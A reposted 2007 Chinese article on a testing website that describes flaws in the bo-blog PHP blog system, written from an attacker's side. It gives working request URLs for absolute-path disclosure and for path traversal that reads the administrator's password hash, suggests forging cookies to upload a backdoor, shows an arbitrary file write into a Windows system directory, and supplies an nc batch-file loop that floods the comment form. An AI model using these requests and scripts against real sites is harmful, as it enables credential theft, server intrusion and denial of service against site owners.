• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

探讨关于bo-blog的安全隐患

发布: 2007-6-23 18:14 | 作者: 佚名  | 来源: pcdog  | 查看: 13次 | 进入软件测试论坛讨论

领测软件测试网

       bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。

首先开门见山,我们说说它的绝对路径暴露问题.........
只要提交地址:_blank>http://localhost/blog/index.php?m=2&y=/2005
就可以得到程序所在绝对路径!

这是php中很经常出现的问题!
现在我们在来看一段代码,这是showcat.php里的内容!

if (!file_exists("$dirblog/$cat.php")) {
wronginfo($langerrornocat);
}
unset ($allfiles);
$allfiles=@file("$dirblog/$cat.php");


    看到了没有?他直接把cat.php没有处理就拿出来用了,而它又是怎么处理他拿出来的数据的呢?
for ($i=$start; $i<$end;$i++) {
$latest=explode(" ",$allfiles[$i]);
$articleid=$latest[1];
$articlename=$latest[2];
$latest[3]=mktimezone($latest[3]);
$showtime=date("Y-n-j",$latest[3]);


    这样,它将$cat提交来的文件打开,读出来,但是以 为分隔读出文件内容,因为以 读出文件内容却是从1开始的,所以我们读不出其他的文件,我们只能读文件里有 的文件的第一个 后面的数据。也就是说,假设我们知道用户所在目录的话,我们就可以提交_blank>http://localhost/blog/index.php?job=showcat&cat=../saiy/userid
便可以得到管理员的密码散列。
    然后伪造cookies登陆,直接可以传后门了。但是前提是要知道目录名,所以这只限制于目录名了,但是假设对方站点上有其他的php+文本的程序,我们可以利用此文件读出隐秘内容。
我们再来说第二个问题,回复评论未限制时间,大家大概觉得这不算什么问题吧,看完代码不知道你还会这么想吗?
$replyauthor=safe_convert($replyauthor);
$remreplyauthor=$replyauthor;
if ($replyemail!="") $replyauthor.="胃胃".safe_convert($replyemail);
$replycontent=safe_convert($replycontent);
$simplecontent=preg_replace("/\[(.+?)\]/is", "", $replycontent);
$simplecontent=preg_replace("/<(.+?)>/is", "", $simplecontent);
$simplecontent=preg_replace("/&(.+?);/is", "", $simplecontent);
$curexcerpt=msubstr($simplecontent,0,20);
$timestamp=time();
$areply=@readfromfile("$dirblog/$articleid.rpl");
writetofile("$dirblog/$articleid.rpl",$replycontent."\n rep \n".$areply);
writetofile("$dirblog/list.php",$all1);
updaterenum(1);

    看到没有?居然也没对$articleid做过滤,大家觉得吓人吗?哦?你们觉得不怎么样?恐怕不好玩?我改改你再看看。
writetofile("$dirblog/C:\winnt\system32\hacker.rpl",$replycontent."\n rep \n".$areply); 


    呼,这样我们把一个垃圾文件写到系统目录下了。要么,写到管理员启动目录?一个N大无比的文本文件。 只要我们不停的提交数据,则不断的把文件写入了,假设你手头没有工具可以帮你提交,我教你个简单的,利用NC的方法!
    首先,抓取你发表评论的包,存在NC所在目录下,命名为test.txt。这个大家都会做吧~~
再建立一个bat,命名为test.bat内容为:
nc www.test.com 80 cls
test.bat
呵呵,运行这个.bat文件它就会不停的发送评论了,开两个就是两个线程哦 o(>_<)o

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网